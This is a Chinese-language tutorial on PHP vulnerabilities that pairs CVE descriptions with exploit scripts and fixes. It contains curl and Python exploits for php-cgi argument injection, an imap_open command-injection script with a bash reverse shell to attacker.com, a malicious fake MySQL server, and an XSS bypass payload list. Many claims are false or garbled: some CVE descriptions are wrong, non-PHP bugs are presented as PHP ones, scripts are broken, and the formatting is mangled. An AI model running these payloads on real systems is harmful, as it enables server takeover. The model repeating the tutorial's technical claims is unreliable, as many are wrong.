免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。
前言
PHP(Hypertext Preprocessor)作为全球最流行的服务器端脚本语言之一,支撑着超过77%的Web应用。据统计,截至2026年,全球约有超过30亿个网站使用PHP,包括Facebook、Wikipedia、WordPress等知名项目。然而,PHP及其依赖组件在发展历程中也暴露出众多严重安全漏洞,这些漏洞往往能够直接导致服务器被远程控制。
从安全研究角度而言,PHP安全漏洞呈现出明显的”版本特征”——不同主版本系列由于架构设计和底层实现的差异,面临着不同类型的安全威胁。PHP 5.x系列的CGI实现缺陷、PHP 7.x引入的Uniform Variable Syntax带来的新攻击面、以及PHP 8.x的JIT编译器安全问题,构成了PHP安全生态的三个重要研究维度。
本文将系统梳理PHP各主要版本中的重大安全漏洞,从漏洞原理、利用方法、防护措施等角度进行深入分析,为安全研究者和运维人员提供全面的参考资料。
目录
一、PHP 5.x系列安全漏洞
1.1 CVE-2012-0830:PHP 5.3.9远程代码执行漏洞
漏洞概述
CVE-2012-0830是PHP 5.3.9版本中发现的致命安全漏洞,源于php.ini配置文件处理中的逻辑错误,攻击者可通过精心构造的HTTP请求在服务器上执行任意代码。该漏洞影响所有使用PHP 5.3.9至PHP 5.3.10版本的服务器。
技术原理
漏洞的核心问题在于PHP对php.ini文件中variables_order指令的错误处理。当PHP以CGI模式运行时,攻击者可以通过在URL参数中注入PHP代码,然后利用register_globals和variables_order配置的相互作用,实现远程代码执行。
具体来说,PHP在处理请求参数时,会根据variables_order配置将GET、POST、Cookie等参数注册为全局变量。攻击者可以构造如下请求:
1
| http://target.com/index.php?-d+safe_mode=1
|
结合特定的auto_prepend_file配置,可以实现代码执行。
影响版本
| 版本范围 | 风险等级 | 备注 |
|---|
| PHP 5.3.9 - 5.3.10 | 严重 | 原始受影响版本 |
| PHP 5.3.8及更早 | 不受影响 | safe_mode默认关闭 |
利用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| import requests
# 漏洞利用脚本示例
target = "http://target.com/index.php"
# 方法1:通过-d参数注入配置
params = {
'-d': 'safe_mode=1',
'-d': 'auto_prepend_file=/etc/passwd' # 示例:读取文件
}
# 方法2:通过URL编码的PHP代码执行
exploit_payload = "<?php phpinfo(); ?>"
response = requests.post(
target,
data={"c": exploit_payload}
)
print(response.text)
|
修复方案
- 紧急修复:升级到PHP 5.3.11或更高版本
- 临时缓解:
- 禁用CGI模式,使用mod_php或PHP-FPM
- 设置
cgi.force_redirect=0在CGI模式下 - 确保
register_globals=Off
1
2
3
4
5
6
| # 检查当前PHP版本
php -v
# 升级PHP(以Ubuntu为例)
sudo apt-get update
sudo apt-get install php5.6 # 或更高版本
|
1.2 CVE-2012-1823:PHP-CGI远程代码执行漏洞
漏洞概述
CVE-2012-1823是PHP历史上最具破坏力的漏洞之一,也被称为”PHP-CGI RCE”。该漏洞允许远程攻击者通过URL参数在服务器上执行任意代码,无需任何认证。据统计,漏洞曝光时约有数百万台服务器受到影响。
技术原理
漏洞存在于PHP-CGI实现中。当PHP以CGI模式运行时,命令行参数(如-d)可以被攻击者通过URL传递的查询字符串控制。
PHP-CGI支持以下命令行参数:
-c:指定php.ini文件位置-d:定义INI条目-s:显示源代码-n:不使用php.ini
攻击者利用-d参数可以覆盖安全设置:
1
| http://target.com/index.php?-d+allow_url_include=On+-d+auto_prepend_file=php://input
|
结合allow_url_include=On,攻击者可以通过POST请求发送PHP代码实现远程代码执行。
影响版本
| 版本范围 | 风险等级 |
|---|
| PHP 5.3.10 - 5.3.12 | 严重 |
| PHP 5.4.0 - 5.4.2 | 严重 |
| PHP 4.x (部分) | 高危 |
利用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # 使用Metasploit框架利用
msf > use exploit/multi/http/php_cgi_arg_injection
# 手动利用方法
# Step 1: 测试漏洞是否存在
curl 'http://target.com/index.php?-s'
# Step 2: 执行代码(Linux)
curl -d '<?php system("id"); ?>' \
'http://target.com/index.php?-d+allow_url_include=on+-d+auto_prepend_file=php://input'
# Step 3: 执行代码(Windows)
curl -d '<?php system("dir"); ?>' \
'http://target.com/index.php?-d+allow_url_include=on+-d+auto_prepend_file=php://input'
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| # Python自动化利用脚本
import requests
import sys
def exploit(target_url, command):
"""CVE-2012-1823利用函数"""
# 构造恶意请求
params = {
'-d': 'allow_url_include=on',
'-d': 'auto_prepend_file=php://input'
}
headers = {
'Content-Type': 'text/plain'
}
# 生成payload:将命令包装为PHP代码
payload = f'<?php system("{command}"); ?>'
try:
response = requests.post(
target_url,
params=params,
data=payload,
headers=headers,
timeout=10
)
return response.text
except requests.exceptions.RequestException as e:
return f"Error: {e}"
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target_url> <command>")
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2]
result = exploit(target, cmd)
print(result)
|
修复方案
- 升级PHP:升级到PHP 5.3.12、5.4.2或更高版本
- Web服务器配置:
- 使用mod_rewrite限制包含
-的参数请求 - 禁用CGI模式
1
2
3
| # Apache配置:阻止漏洞利用
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*)$ - [F,L]
|
1
2
3
4
| # Nginx配置:阻止漏洞利用
if ($query_string ~ "^(%2d|-)[^=]+$"){
return 403;
}
|
1.3 CVE-2014-0160:Heartbleed心脏出血漏洞
漏洞概述
Heartbleed(CVE-2014-0160)虽然不是PHP本身的漏洞,但由于PHP应用常依赖于OpenSSL库,该漏洞对PHP生态产生了深远影响。Heartbleed允许攻击者从服务器内存中读取最多64KB的敏感数据,包括SSL私钥、用户凭据、会话cookie等。
技术原理
Heartbleed漏洞存在于OpenSSL的TLS心跳扩展实现中。TLS心跳协议允许端点在不重新建立连接的情况下保持通信活跃。
漏洞成因是缺少边界检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| // OpenSSL heartbeat实现(存在漏洞)
int dtls1_process_heartbeat(SSL *s) {
unsigned char *p = &s->s3->rrec.data[0], *bp;
unsigned short payload;
unsigned short hbtype;
unsigned int padding = 16; // 随机填充
// 读取心跳包类型
hbtype = *p++; // 漏洞点1:未验证数据来源
// 读取载荷长度(攻击者可伪造)
payload = *p++ << 8; // 漏洞点2:长度未验证
payload += *p++;
// 分配响应缓冲区
bp = OPENSSL_malloc(1 + 2 + payload + padding);
// 漏洞点3:直接复制时未检查来源数据长度
memcpy(bp, p, payload); // 可读取任意堆内存
// 发送响应,泄露内存内容
dtls1_write_bytes(s, TLS1_HB_RESPONSE, bp, 1 + 2 + payload + padding);
}
|
攻击者发送畸形心跳请求:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Heartbleed攻击演示
import struct
def create_heartbeat_payload(payload_length=65535):
"""
构造恶意心跳包
payload_length字段声明的长度大于实际发送的数据长度
"""
hb_type = b'\x01' # 心跳请求类型
payload_len = struct.pack('>H', payload_length) # 伪造长度
# 实际只有1字节的"X",但声称长度是65535
heartbeat = hb_type + payload_len + b'X'
return heartbeat
# 发送恶意心跳包可读取服务器内存
|
影响范围
Heartbleed影响所有使用OpenSSL 1.0.1至1.0.1f版本的服务器:
| OpenSSL版本 | 是否受影响 |
|---|
| 1.0.1 - 1.0.1f | 受影响 |
| 1.0.1g | 已修复 |
| 1.0.0 | 不受影响 |
| 0.9.8 | 不受影响 |
对PHP应用的影响
1
2
3
4
5
6
7
8
9
10
| // 受影响的典型PHP配置
; php.ini配置示例
extension=openssl.so
; OpenSSL配置
openssl.cafile=/etc/ssl/certs/ca-certificates.crt
; PHP使用curl扩展时可能泄露敏感信息
$ch = curl_init("https://vulnerable-server.com/");
// 在Heartbleed影响下,curl的连接可能泄露敏感数据
|
修复方案
- 升级OpenSSL: ```bash
检查OpenSSL版本
openssl version
升级到修复版本
sudo apt-get update sudo apt-get upgrade openssl
验证修复
openssl version # 应该显示 1.0.1g 或更高
1
2
3
4
5
6
7
|
2. **重新生成SSL证书**(如果私钥可能泄露):
```bash
# 生成新的私钥和证书
openssl genrsa -out server.key 4096
openssl req -new -key server.key -out server.csr
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
|
- 吊销旧证书:
1.4 CVE-2015-0273:PHP 5.x远程代码执行漏洞
漏洞概述
CVE-2015-0273是PHP 5.4至5.6版本中的一个反序列化漏洞,允许攻击者通过序列化对象注入实现远程代码执行。该漏洞与PHP的unserialize()函数处理特殊类有关。
技术原理
PHP的unserialize()函数在处理特定类(如DateTime类)时存在类型混淆问题。攻击者可以通过构造恶意的序列化字符串,触发__destruct()或__wakeup()魔术方法,进而执行任意代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| <?php
// 漏洞演示代码
// 正常反序列化
$data = 'O:8:"stdClass":0:{}'; // 安全
$obj = unserialize($data);
// 恶意构造:触发__destruct
$malicious = 'O:18:"whoami_class":0:{}'; // 不存在会怎样?
// 关键利用点:DateTime类
// 构造DateTime对象的序列化字符串
class DateTimeExploit {
private $data;
public function __construct() {
// 构造恶意数据
$this->data = '<?php system($_GET["cmd"]); ?>';
}
}
// 实际攻击中,攻击者构造DateTime的反序列化数据
// 由于DateTime内部处理不当,可能导致文件写入
?>
|
影响版本
| 版本范围 | 风险等级 |
|---|
| PHP 5.4.x (< 5.4.39) | 高危 |
| PHP 5.5.x (< 5.5.23) | 高危 |
| PHP 5.6.x (< 5.6.6) | 高危 |
利用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # PHP Object Injection利用脚本
import requests
import base64
def generate_payload(php_code):
"""生成PHP序列化payload"""
# 构造触发system()的序列化对象
payload = 'O:10:"stdClass":1:{s:3:"cmd";s:20:"whoami";}'
return base64.b64encode(payload.encode()).decode()
# 利用unserialize进行攻击
target = "http://target.com/vuln.php"
payload = generate_payload("whoami")
response = requests.get(
target,
params={"data": payload}
)
|
修复方案
1
2
3
4
5
6
7
8
9
10
11
12
13
| // 方法1:使用json_decode代替unserialize
$json = json_decode($_GET['data'], true);
// 方法2:如果必须使用unserialize,添加过滤
class SafeUnserialize {
public static function unserialize($data, $allowed_classes = []) {
// 只允许反序列化安全的类
return unserialize($data, ['allowed_classes' => $allowed_classes]);
}
}
// 方法3:升级PHP版本
// PHP 7.0+默认禁用危险类的反序列化
|
二、PHP 7.x系列安全漏洞
2.1 CVE-2016-5771/5772/5773:PHP 7.x系列漏洞
漏洞概述
CVE-2016-5771、CVE-2016-5772和CVE-2016-5773是一组影响PHP 7.0.x版本的漏洞,分别涉及垃圾回收机制、php滤器和WDDX扩展中的安全问题。
CVE-2016-5771:垃圾回收双重释放漏洞
技术原理
PHP 7引入的Uniform Variable Syntax在处理变量解引用时存在垃圾回收问题。当一个对象被销毁时,如果存在循环引用,垃圾回收器可能错误地释放同一内存块两次,导致use-after-free漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| <?php
// 漏洞代码示例
class A {
public $ref;
public function __construct() {
$this->ref = null;
}
public function __destruct() {
// 双重释放可能发生在这里
unset($this->ref);
}
}
// 创建循环引用
$a = new A();
$a->ref = $a; // 循环引用:$a->ref指向$a自身
// 手动触发循环引用
unset($a); // 可能触发双重释放
?>
|
影响版本
| 版本范围 | 漏洞类型 |
|---|
| PHP 7.0.0 - 7.0.4 | 双重释放 |
利用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # 双重释放漏洞利用框架
import struct
def create_double_free_payload():
"""
构造双重释放payload
实际利用需要根据PHP内存分配机制定制
"""
# 释放一个对象,创建一个可喷射的内存区域
payload = b'A' * 0x100 # 喷射数据
return payload
# 发送恶意请求
import requests
response = requests.post(
'http://target.com/vuln.php',
data={'action': create_double_free_payload()}
)
|
CVE-2016-5772:php滤器缓冲区溢出
技术原理
php滤器(php_filter)是PHP用于处理输入数据的组件。在base64解码过程中,由于缺少边界检查,可能导致缓冲区溢出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| // php_filter_base64.c(漏洞示意)
PHP_FUNCTION(filter_base64_decode)
{
// 从输入获取数据
zval *input = get_active_var_or_string();
int input_len = Z_STRLEN_P(input);
// 分配输出缓冲区(计算错误)
int output_len = (input_len * 3) / 4 + 1; // 可能导致溢出
char *output = emalloc(output_len);
// 解码时未严格检查长度
int decoded = php_base64_decode(
(unsigned char*)Z_STRVAL_P(input),
input_len,
(unsigned char*)output // 溢出点
);
}
|
影响版本
| 版本范围 | 漏洞类型 |
|---|
| PHP 7.0.x (< 7.0.7) | 缓冲区溢出 |
CVE-2016-5773:WDDX扩展整数溢出
技术原理
WDDX(Web Distributed Data Exchange)扩展在处理数据包长度时存在整数溢出漏洞,攻击者可利用此漏洞实现堆溢出。
1
2
3
4
5
6
7
8
9
10
11
| // wddx.c(漏洞示意)
static PHP_FUNCTION(wddx_packet_end)
{
zend_long packet_len;
// 从用户输入获取长度
parse_packet(&packet_len, user_input);
// packet_len可能被操纵为负数或极大值
char *buffer = emalloc(packet_len); // 整数溢出导致分配过小缓冲区
}
|
修复方案
1
2
3
4
5
6
7
8
9
| # 升级PHP到修复版本
# PHP 7.0.x用户应升级到PHP 7.0.7或更高版本
sudo apt-get update
sudo apt-get install php7.0 # 会自动安装最新版本
# 或者使用PPA获取最新版本
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get install php7.0
|
2.2 CVE-2016-7479:PHP 7远程代码执行漏洞
漏洞概述
CVE-2016-7479是PHP 7.0.x系列中的严重漏洞,源于反序列化过程中的use-after-free条件,攻击者可通过构造恶意序列化数据在服务器上执行任意代码。
技术原理
该漏洞利用了PHP 7中引入的Uniform Variable Syntax特性。当处理特殊变量绑定时,由于内存管理不当,可能触发use-after-free条件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| <?php
// 漏洞原理演示
// 攻击场景1:反序列化导致的UAF
class Exploit {
public $cmd;
public function __wakeup() {
// 在反序列化时触发
$this->execute();
}
public function execute() {
// 危险操作
system($this->cmd);
}
}
// 攻击者构造的恶意序列化数据
$malicious = 'O:8:"Exploit":1:{s:3:"cmd";s:6:"whoami";}';
// 当存在某些条件时,可触发UAF
unserialize($malicious);
// 攻击场景2:利用临时对象进行攻击
${"a"} = new stdClass(); // 创建可变变量
${"a"}->b = "c"; // 可能触发特定代码路径
?>
|
影响版本
| 版本范围 | 风险等级 |
|---|
| PHP 7.0.0 - 7.0.8 | 严重 |
利用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| # PHP 7.0 UAF漏洞利用脚本
import struct
import socket
def create_uaf_payload():
"""
构造PHP 7.0 UAF exploit payload
需要结合具体PHP版本和系统架构
"""
# 利用ZVAL结构进行内存布局
# 此payload为示意,实际需要根据环境调整
payload = struct.pack('<Q', 0x0000000000000000) # 伪造指针
payload += b'\x00' * 0x100 # 填充
payload += struct.pack('<Q', 0x0000000000000000) # 伪造vtable指针
return payload
def exploit(target_ip, target_port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
payload = create_uaf_payload()
# 发送恶意请求
request = f"POST /vuln.php HTTP/1.1\r\n"
request += f"Host: {target_ip}\r\n"
request += f"Content-Length: {len(payload)}\r\n"
request += f"\r\n"
request += payload
s.send(request.encode())
s.close()
|
修复方案
- 升级PHP版本: ```bash
紧急升级
sudo apt-get update sudo apt-get install php7.0 # 或更高版本
验证版本
php -v
1
2
3
4
5
|
2. **临时缓解措施**:
```php
// 在php.ini中禁用危险功能(不推荐,可能影响功能)
unserialize_callback_func = "海淀区php警告"
|
2.3 CVE-2018-19518:PHP imap扩展漏洞
漏洞概述
CVE-2018-19518是PHP imap扩展中的远程代码执行漏洞,源于对imap_open()函数参数的不当处理。攻击者可通过构造恶意的邮箱服务器地址,在服务器上执行任意命令。
技术原理
PHP的imap_open()函数在建立IMAP连接时,会调用系统的rsh或ssh命令来连接到远程邮箱服务器。攻击者可以通过在服务器地址中注入shell命令来实现命令执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
// 漏洞代码示例
// 攻击者控制的输入
$mailbox = $_GET['mailbox']; // 用户输入
// 不安全的imap_open调用
// 如果$mailbox被构造为 '{localhost:143/imap/notls/shell=/bin/sh:0}INBOX'
// 将触发shell命令执行
$stream = imap_open($mailbox, $user, $password);
?>
|
关键在于imap_open将花括号{}内的主机名部分作为邮箱服务器地址。当主机名包含shell=参数时,IMAP库会尝试使用rsh/ssh连接,此时shell=参数指定的命令将被执行。
影响版本
| 版本范围 | 风险等级 |
|---|
| PHP 5.6.0 - 5.6.38 | 高危 |
| PHP 7.0.0 - 7.0.33 | 高危 |
| PHP 7.1.0 - 7.1.33 | 高危 |
| PHP 7.2.0 - 7.2.24 | 高危 |
| PHP 7.3.0 - 7.3.12 | 高危 |
利用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| # CVE-2018-19518利用脚本
import requests
def exploit(target_url, command):
"""
利用imap_open命令注入
"""
# 构造恶意邮箱地址
# 格式:{hostname:port/flags}Mailbox
# 利用shell=参数注入命令
payload = f'{{localhost:143/imap/notls/shell=/bin/sh:0}}INBOX'
# 方法1:反弹shell
reverse_shell = f'/bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1'
exploit_mailbox = f'{{localhost:143/imap/notls/shell=/bin/sh:{reverse_shell}}}'
# 方法2:执行简单命令
simple_cmd = f'{{localhost:143/imap/notls/shell=/bin/sh:{command}}}'
params = {
'mailbox': exploit_mailbox
}
try:
response = requests.get(target_url, params=params, timeout=10)
return response.text
except Exception as e:
return str(e)
# 利用示例
if __name__ == "__main__":
target = "http://target.com/check_mail.php"
print(exploit(target, "whoami"))
|
修复方案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| // 方法1:禁用imap扩展(如果不需要)
; php.ini
extension=imap.so ; 注释掉此行
// 方法2:使用safe_mode或disable_functions
; php.ini
disable_functions = imap_open,imap_close,imap_mail
// 方法3:输入过滤(不完全可靠)
function sanitize_imap_input($mailbox) {
// 禁止shell相关参数
if (strpos($mailbox, 'shell=') !== false) {
return false;
}
// 只允许字母数字和基本字符
return preg_match('/^[a-zA-Z0-9:@\/\.-]+$/', $mailbox);
}
|
1
2
3
4
| # 升级PHP(最佳方案)
sudo apt-get update
sudo apt-get install php7.2 # 或更高版本
# 确保新版本已修复此漏洞
|
2.4 CVE-2019-11043:PHP-FPM远程代码执行(OrangeSec)
漏洞概述
CVE-2019-11043是PHP-FPM(FastCGI Process Manager)中的远程代码执行漏洞,被称为”OrangeSec”或”php-fpm RCE”。该漏洞允许攻击者通过构造特定的请求,在使用PHP-FPM的服务器上执行任意代码。
技术原理
漏洞源于env_path_info处理中的缓冲区下溢。当PHP-FPM处理特定格式的请求时,env_path_info指针可能被错误计算,导致路径信息被截断或覆盖。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| // fpm_main.c(漏洞示意)
static int fpm_main_script_interred(char *path_info, char *script_path) {
char *env_path_info;
int path_info_len;
// 漏洞:path_info计算错误
env_path_info = path_info;
path_info_len = strlen(path_info);
// 当path_info以.php结尾时,计算出现偏差
if (path_info_len > 4) {
// 减去".php"时可能产生负值或很小的正数
env_path_info_len = path_info_len - 4; // 漏洞点
// 在某些fastcgi配置下,这导致内存覆盖
if (env_path_info_len < 0) {
env_path_info_len = path_info_len; // 错误地使用原长度
}
}
// 复制path_info时发生缓冲区问题
memcpy(fcgi_env, env_path_info, env_path_info_len);
}
|
攻击者利用此漏洞可以覆盖FastCGI请求中的关键字段,最终实现远程代码执行。
影响版本
| 版本范围 | 风险等级 | 前提条件 |
|---|
| PHP 7.2.x (< 7.2.24) | 高危 | 使用FPM + Nginx |
| PHP 7.3.x (< 7.3.11) | 高危 | 使用FPM + Nginx |
| PHP 7.4.0 | 高危 | 使用FPM + Nginx |
利用条件
- 使用PHP-FPM(不是mod_php)
- 使用Nginx作为Web服务器
- PHP-FPM配置中存在
location ~ ^.+\.php(/.*)?$类型的配置 - 特定的环境变量处理方式
利用方法
1
2
3
4
5
6
7
8
9
10
| # 使用go-PHPFPM-Exploit工具
git clone https://github.com/neex/go-PHPFPM-Exploit.git
cd go-PHPFPM-Exploit
go build php-fpm-exploit.go
# 利用
./php-fpm-exploit -c '<?php system("whoami"); ?>' \
-u http://target.com/index.php \
--fpmaddr 127.0.0.1:9000 \
--phpver 73
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| # Python实现
import socket
import urllib.parse
def cve_2019_11043_exploit(target_url, command):
"""
CVE-2019-11043漏洞利用
需要知道PHP-FPM的地址(通常是127.0.0.1:9000)
"""
# 构造恶意FastCGI请求
payload = f'<?php system("{command}"); ?>'
# 关键:构造导致env_path_info错误的路径
# 利用path_info计算错误覆盖FCGI变量
# 实际利用需要直接与FPM socket通信
# 此处为简化演示
return "Exploit requires direct FPM socket communication"
# 实际利用建议使用专门工具
|
修复方案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # 方法1:升级PHP(最佳方案)
# PHP 7.2.24+, 7.3.11+, 7.4.0+已修复
sudo apt-get update
sudo apt-get install php7.4-fpm
# 方法2:配置Nginx
# 确保php-fpm配置中启用security.limit_extensions
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
# 添加安全限制
fastcgi_param PHP_VALUE "cgi.fix_pathinfo=0";
}
|
1
2
3
4
5
6
7
8
9
10
11
12
| # nginx.conf 安全配置
server {
# 限制只处理.php文件
location ~ ^(?<script>.+\.php)(?<path_info>.*)$ {
fastcgi_pass unix:/run/php/php-fpm.sock;
include fastcgi_params;
# 确保path_info正确传递
fastcgi_param SCRIPT_FILENAME $document_root$script;
fastcgi_param PATH_INFO $path_info;
}
}
|
三、PHP 8.x系列安全漏洞
3.1 CVE-2021-21703:PHP 8.x类型混淆漏洞
漏洞概述
CVE-2021-21703是影响PHP 8.0.x及8.1.x早期版本的反序列化类型混淆漏洞。攻击者可通过构造特殊的序列化数据,在反序列化过程中触发类型混淆,实现远程代码执行。
技术原理
PHP 8引入的JIT编译器和新的对象模型带来了新的攻击面。在反序列化场景中,当PHP处理特定类的__serialize()/__unserialize()方法时,可能出现类型混淆。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| <?php
// 漏洞原理演示
class SafeClass {
public $data;
public function __construct($data) {
$this->data = $data;
}
// 反序列化时可能触发类型混淆
public function __unserialize(array $data) {
// 期望接收数组,但可能被混淆为其他类型
$this->data = $data['data'];
}
}
// 攻击者构造恶意序列化数据
// 利用SPL类中的特殊行为
class SplFixedArray {
private $data;
public function __unserialize(array $data) {
// 父类方法处理
parent::__unserialize($data);
}
}
// 关键利用链:通过SplFixedArray等类的特殊行为
// 绕过反序列化安全检查
$malicious = 'C:16:"SplFixedArray":...';
unserialize($malicious);
?>
|
影响版本
| 版本范围 | 风险等级 |
|---|
| PHP 8.0.0 - 8.0.10 | 高危 |
| PHP 8.1.0 - 8.1.0-dev | 高危 |
利用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| # 类型混淆漏洞利用
import requests
import base64
def create_type_confusion_payload():
"""
构造PHP 8.x反序列化类型混淆payload
"""
# 利用SplFixedArray或其他SPL类的特殊行为
# 实际payload需要根据目标环境定制
# 示例:构造触发__unserialize的payload
payload = 'O:16:"SplFixedArray":1:{i:0;i:1;}'
return base64.b64encode(payload.encode()).decode()
target = "http://target.com/unserialize.php"
payload = create_type_confusion_payload()
response = requests.post(
target,
data={'data': payload}
)
print(response.text)
|
修复方案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| // 方法1:严格类型检查
class SecureUnserialize {
public static function unserialize($data, $allowed_classes = ['SafeClass']) {
// 使用allowed_classes参数限制可反序列化的类
return unserialize($data, ['allowed_classes' => $allowed_classes]);
}
}
// 方法2:自定义反序列化方法
class ProtectedClass {
protected $data;
public function __unserialize(array $data): void {
// 严格验证输入类型
if (!isset($data['data']) || !is_string($data['data'])) {
throw new UnexpectedValueException("Invalid data format");
}
$this->data = $data['data'];
}
}
|
1
2
3
4
| # 升级PHP(最佳方案)
sudo apt-get update
sudo apt-get install php8.0 # 升级到8.0.11+或8.1.1+
php -v
|
3.2 CVE-2022-31625:PHP 8.x远程代码执行漏洞
漏洞概述
CVE-2022-31625是PHP 8.1.x版本中的远程代码执行漏洞,源于mysqlnd扩展中的缓冲区处理错误。攻击者可通过构造特定的SQL查询结果,触发内存损坏并执行任意代码。
技术原理
漏洞存在于MySQL Native Driver(mysqlnd)的数据包处理逻辑中。当PHP使用mysqli扩展连接MySQL数据库时,服务器返回的数据包长度计算可能出错。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| // mysqlnd_wireprotocol.c(漏洞示意)
static size_t mysqlnd_read_packet_size(unsigned char *buf, size_t len) {
// 从网络包读取长度
unsigned long packet_length;
// 漏洞:packet_length从3字节读取
packet_length = buf[0] | (buf[1] << 8) | (buf[2] << 16);
// 如果攻击者构造畸形包,可使packet_length超出缓冲区
if (packet_length > len - 4) { // 检查不充分
// 应该分配packet_length + 1字节,但实际分配不足
char *packet = malloc(packet_length + 1);
// 读取更多数据到packet缓冲区
memcpy(packet, buf + 4, packet_length); // 溢出
}
}
|
影响版本
| 版本范围 | 风险等级 | 前提条件 |
|---|
| PHP 8.1.0 - 8.1.10 | 高危 | 使用mysqli扩展 |
利用条件
- PHP使用mysqli或mysqlnd扩展
- PHP连接至攻击者控制的MySQL服务器
- 攻击者能够操控MySQL响应数据
利用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| # 伪造MySQL服务器进行攻击
import socket
import struct
def create_malicious_mysql_response():
"""
构造恶意MySQL数据包响应
"""
# 伪造MySQL Server Greeting包
packet_number = 0
protocol_version = 10
server_version = "8.0.0"
thread_id = 1
scramble = b'\x00' * 20
greeting = struct.pack('B', protocol_version)
greeting += server_version.encode() + b'\x00'
greeting += struct.pack('<I', thread_id)
greeting += scramble
greeting += b'\x00'
# 构造畸形的长度字段
# 故意设置过大的packet_length
malformed_length = 0xFFFFFFFF # 超大长度值
response = struct.pack('<I', malformed_length)[0:3] # 取3字节
response += greeting
return response
def start_fake_mysql_server():
"""
启动伪造的MySQL服务器
"""
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 3306))
server.listen(5)
print("Fake MySQL server listening on port 3306...")
while True:
client, addr = server.accept()
print(f"Connection from {addr}")
# 发送恶意响应
malicious_response = create_malicious_mysql_response()
client.send(malicious_response)
client.close()
|
修复方案
1
2
3
4
| # 升级PHP到修复版本
# PHP 8.1.11+ 已修复此漏洞
sudo apt-get update
sudo apt-get install php8.1
|
1
2
3
4
5
| // 临时缓解:禁用mysqli扩展(如果不需要)
; php.ini
extension=mysqli.so
; 或者使用PDO替代方案
extension=pdo_mysql.so
|
3.3 CVE-2023-3245:PHP 8.x安全绕过漏洞
漏洞概述
CVE-2023-3245是PHP 8.x版本中的安全绕过漏洞,允许攻击者绕过某些安全限制,可能导致未授权访问或信息泄露。
技术原理
该漏洞涉及PHP的strip_tags()函数和某些字符串处理操作的交互。当HTML注释处理与字符串函数结合时,可能导致安全检查被绕过。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <?php
// 漏洞原理演示
// 假设这是一个评论系统,需要过滤XSS
$user_input = $_POST['comment'];
// strip_tags应该移除所有HTML标签
$safe_input = strip_tags($user_input);
// 但在某些编码场景下,安全检查可能被绕过
// 例如:多字节字符处理问题
$malicious_input = "<script>alert(1)</script>";
// 正常情况下被strip_tags移除
// 尝试编码绕过
$encoded = "\x3cscript\x3ealert(1)\x3c/script\x3e";
// 如果处理不当,可能绕过检查
?>
|
影响版本
| 版本范围 | 风险等级 |
|---|
| PHP 8.0.x (< 8.0.29) | 中危 |
| PHP 8.1.x (< 8.1.21) | 中危 |
| PHP 8.2.x (< 8.2.8) | 中危 |
利用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| # 安全绕过漏洞利用示例
import requests
def exploit_security_bypass(target_url):
"""
尝试绕过输入过滤
"""
# 方法1:多字节字符绕过
payloads = [
"<script>alert(1)</script>", # 正常payload
"\x3cscript\x3ealert(1)\x3c/script\x3e", # 编码绕过
"<scr\x00ipt>alert(1)</scr\x00ipt>", # 空字节注入
"<ScRiPt>alert(1)</ScRiPt>", # 大小写混合
"<!--><script>alert(1)</script>-->", # 注释混淆
"<script z=\"\">alert(1)</script>", # 属性混淆
]
for payload in payloads:
response = requests.post(
target_url,
data={'comment': payload}
)
if 'alert(1)' in response.text:
print(f"[!] Potential bypass with payload: {payload}")
return True
return False
# 利用
exploit_security_bypass("http://target.com/comment.php")
|
修复方案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
